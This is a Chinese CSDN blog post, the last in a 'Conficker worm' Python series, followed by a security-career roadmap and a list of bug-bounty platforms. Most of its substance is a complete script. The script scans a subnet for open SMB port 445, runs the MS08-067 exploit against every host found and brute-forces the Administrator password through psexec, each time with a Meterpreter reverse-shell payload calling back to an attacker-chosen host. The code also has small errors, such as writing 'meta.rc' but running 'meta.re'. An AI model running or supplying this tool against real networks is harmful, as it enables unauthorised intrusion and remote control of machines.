【Python脚本进阶】2.4、conficker蠕虫(终)

  

前言:

介绍: 

博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。

殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。

擅长:对于技术、工具、漏洞原理、黑产打击的研究。

C站缘:C站的前辈,引领我度过了一个又一个技术的瓶颈期、迷茫期。


导读:

面向读者:对于网络安全方面的学者。 

本文知识点(读者自测): 

(1)蠕虫完整代码(√)

 让读者如虎添翼

conficker蠕虫博文目标状态
【Python脚本进阶】conficker蠕虫(上):Metasploit攻击Windows SMB服务Metasploit攻击已发布
【Python脚本进阶】conficker蠕虫(中):Python脚本与Metasploit交互Python脚本与Metasploit交互已发布
【Python脚本进阶】conficker蠕虫(下):暴破口令,远程执行进程暴破口令,远程执行进程已发布
【Python脚本进阶】conficker蠕虫(终)完整代码已发布

完整

脚本能扫描可能的目标, 利用MS08_067漏洞, 并通过暴力猜测密码远程执行一个进程。


最后, 还要在main()函数中添加一些参数解析代码,然后调用刚才编写的那些函数, 以完成脚本的编写。

import os
import optparse
import sys
import nmap


def findTgts(subNet):
    nmScan = nmap.PortScanner()
    nmScan.scan(subNet, '445')
    tgtHosts = []
    for host in nmScan.all_hosts():
        if nmScan[host].has_tcp(445):
            state = nmScan[host]['tcp'][445]['state']
            if state == 'open':
                print('[+] Found Target Host:' + host)
                tgtHosts.append(host)
    return tgtHosts


def setupHandler(configFile, lhost, lport):
    configFile.write('use exploit/multi/handler\n')
    configFile.write('setPAYLOAD ' + 'windows/meterpreter/reverse_tcp\n')
    configFile.write('set LPORT ' + str(lport) + '\n')
    configFile.write('set LHOST ' + lhost + '\n')
    configFile.write('exploit -j -z\n')
    configFile.write('setg DisablePayloadHandler 1\n')

def confickerExploit(configFile, tgtHost, lhost, lport):
    configFile.write('use exploit/windows/smb/ms08_067_netapi \n')
    configFile.write('set RHOST ' +str(tgtHost) +'\n')
    configFile.write('set PAYLOAD '+ 'windows/meterpreter/reverse_tcp\n')
    configFile. write ('set LPORT ' +str(lport) + '\n')
    configFile. write ('set LHOST ' +lhost +'\n')
    configFile. write ('exploit -j -z\n')

def smbBrute(configFile, tgtHost, passwdFile, lhost, lport):
    username = 'Administrator'
    pF = open( passwdFile, 'r' )
    for password in pF.readlines():
        password = password.strip('\n').strip('\r')
        configFile.write('use exploit/windows/smb/psexec\n')
        configFile.write('set SMBUser ' + str(username) + '\n')
        configFile.write('set SMBPass ' + str(password) + '\n')
        configFile.write('set RHOST ' + str(tgtHost) + '\n')
        configFile.write('set PAYLOAD ' + 'windows/meterpreter/reverse_tcp\n')
        configFile.write('set LPORT ' + str(lport) + '\n')
        configFile.write('set LHOST ' + lhost + '\n')
        configFile.write('exploit -j -z\n')

def main():
    configFile = open('meta.rc', 'w')
    parser = optparse.OptionParser('[-] Usage%prog ' + '-H <RHOST[s]> -l <LHOST> [-p <LPORT> -F <Password File>]')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify the target address [es]')
    parser.add_option('-p', dest='lport', type='string', help='specify the listen port')
    parser.add_option('-l', dest='lhost', type = 'string', help='specify the listen address')
    parser.add_option('-F', dest='passwdFile', type='string', help='password file for SMB brute force attempt')
    (options, args) = parser.parse_args()
    if (options.tgtHost == None) | (options.lhost == None):
        print(parser.usage)
        exit(0)
    lhost = options.lhost
    lport = options.lport
    if lport == None:
        lport = '1337'
    passwdFile = options.passwdFile
    tgtHosts = findTgts(options.tgtHost)
    setupHandler(configFile, lhost, lport)
    for tgtHost in tgtHosts:
        confickerExploit(configFile, tgtHost, lhost, lport)
        if passwdFile != None:
            smbBrute(configFile, tgtHost, passwdFile, lhost, lport)
    configFile.close()
    os.system('msfconsole -r meta.re')



if __name__ == '__main__':
    main()

 



网络安全三年之约

First year 

掌握各种原理、不断打新的靶场

目标:edusrc、cnvd 

主页 | 教育漏洞报告平台 (sjtu.edu.cn)https://src.sjtu.edu.cn/https://www.cnvd.org.cnhttps://www.cnvd.org.cn/


second year 

不断学习、提升技术运用技巧,研究各种新平台

开始建立自己的渗透体系

目标:众测平台、企业src应急响应中心 

众测平台URL
漏洞盒子漏洞盒子 | 互联网安全测试众测平台
火线安全平台火线安全平台
漏洞银行BUGBANK 官方网站 | 领先的网络安全漏洞发现品牌 | 开放安全的提出者与倡导者 | 创新的漏洞发现平台
360漏洞众包响应平台360漏洞云漏洞众包响应平台
补天平台(奇安信)补天 - 企业和白帽子共赢的漏洞响应平台,帮助企业建立SRC
春秋云测首页
雷神众测(可信众测,安恒)雷神众测 - BountyTeam
云众可信(启明星辰)云众可信 - 互联网安全服务引领者
ALLSECALLSEC
360众测360众测平台
看雪众测(物联网)https://ce.kanxue.com/
CNVD众测平台网络安全众测平台
工控互联网安全测试平台CNCERT工业互联网安全测试平台
慢雾(区块链)Submit Bug Bounty - SlowMist Zone - Blockchain Ecosystem Security Zone
平安汇聚http://isrc.pingan.com/homePage/index

互联网大厂URL
阿里https://asrc.alibaba.com/#/
腾讯https://security.tencent.com/
百度https://bsrc.baidu.com/v2/#/home
美团https://security.meituan.com/#/home
360https://security.360.cn/
网易https://aq.163.com/
字节跳动https://security.bytedance.com/
京东https://security.jd.com/#/
新浪http://sec.sina.com.cn/
微博https://wsrc.weibo.com/
搜狗http://sec.sogou.com/
金山办公https://security.wps.cn/
有赞https://src.youzan.com/


Third Year 

学习最新的知识,建全自己的渗透体系

目标:参与护网(每一个男孩子心中的梦想) 

时间:一般5月面试,6/7月开始(持续2-3周)

分类:国家级护网、省级护网、市级护网、重大节日护网(如:建党、冬奥等)

 

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

黑色地带(崛起)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值